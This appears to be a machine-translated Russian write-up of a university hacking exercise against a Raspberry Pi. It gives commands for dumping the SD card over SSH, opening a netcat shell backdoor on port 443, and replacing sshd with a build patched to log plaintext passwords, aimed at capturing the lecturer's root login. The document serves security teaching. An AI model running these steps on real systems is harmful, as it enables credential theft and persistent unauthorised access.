Университетское задание: проникнуть внутри Raspberry и собрать как можно больше информации.

Легкая цель: взломать пароль легко угадываемого пользователя sudo. С этого момента мы поняли, что лекции контролируют действия в RPI с учетной записью root:

Oct 19 02:04:01 ##### logger: ’SCP: root 10.0.14.200 46784 10.0.14.13 22:’   -r -f /var/log

Даже если бы у нас был sudo для работы в качестве суперпользователя, мы начали понимать, что можем получить пароль root и, что более важно, повысить привилегии за пределами RPI на машине монитора лектора, используя логины. от него.

Удаленный дамп SD

ssh webadmin@#####.cs.bham.ac.uk \\
    "sudo dd if=/dev/mmcblk0 | gzip -1 -" | dd of=image.gz

Мы не могли подключиться к Интернету с цели, поэтому мы сбросили SD-карту и использовали систему локально на нашем RPI.

модификация SSH

Таким образом, мы решили загрузить ту же версию исходного кода SSH из репозитория Debian и изменить код, чтобы использовать фазу входа в систему, когда пароль был в виде открытого текста. Из журнала было ясно, что SSH использовал PAM для проверки учетных данных пользователя. Из-за этого мы затем запустили поиск, чтобы понять, где произошла аутентификация PAM.

grep -R -i “pam” *

Мы выяснили, что файл auth-pam.c был правильным благодаря функции sshpam_auth_passwd, которая позволяет аутентифицировать пользователя. Поэтому мы просто изменили эту функцию, чтобы сохранить пароль в открытом виде в общем файле, который мы назвали file.txt в корневом каталоге.

Затем мы скомпилировали его на нашем RPI с той же конфигурацией сопровождающего Debian и загрузили наш исполняемый файл sshd в цель.

Отказоустойчивая оболочка

Поскольку мы не были уверены в возможных ошибках и не хотели быть вырезанными из системы, мы также открыли резервную консоль с помощью netcat на порту 443 (один из немногих открытых).

$ mkfifo pipe
$ nc -l -p 443 < pipe | /bin/sh > pipe &disown # disown in order
# to leave netcat running after SSH disconnection

Замена SSH

Затем мы заменили исходный исполняемый файл sshd нашей версией и перезапустили демон SSH.

$ mv /usr/sbin/sshd /usr/sbin/sshd.back && mv sshd /usr/sbin/
$ service ssh restart

Ожидающий

Заметив, что все работает нормально, мы просто ждали подключения. Вот и все, пароль был сохранен в /file.txt.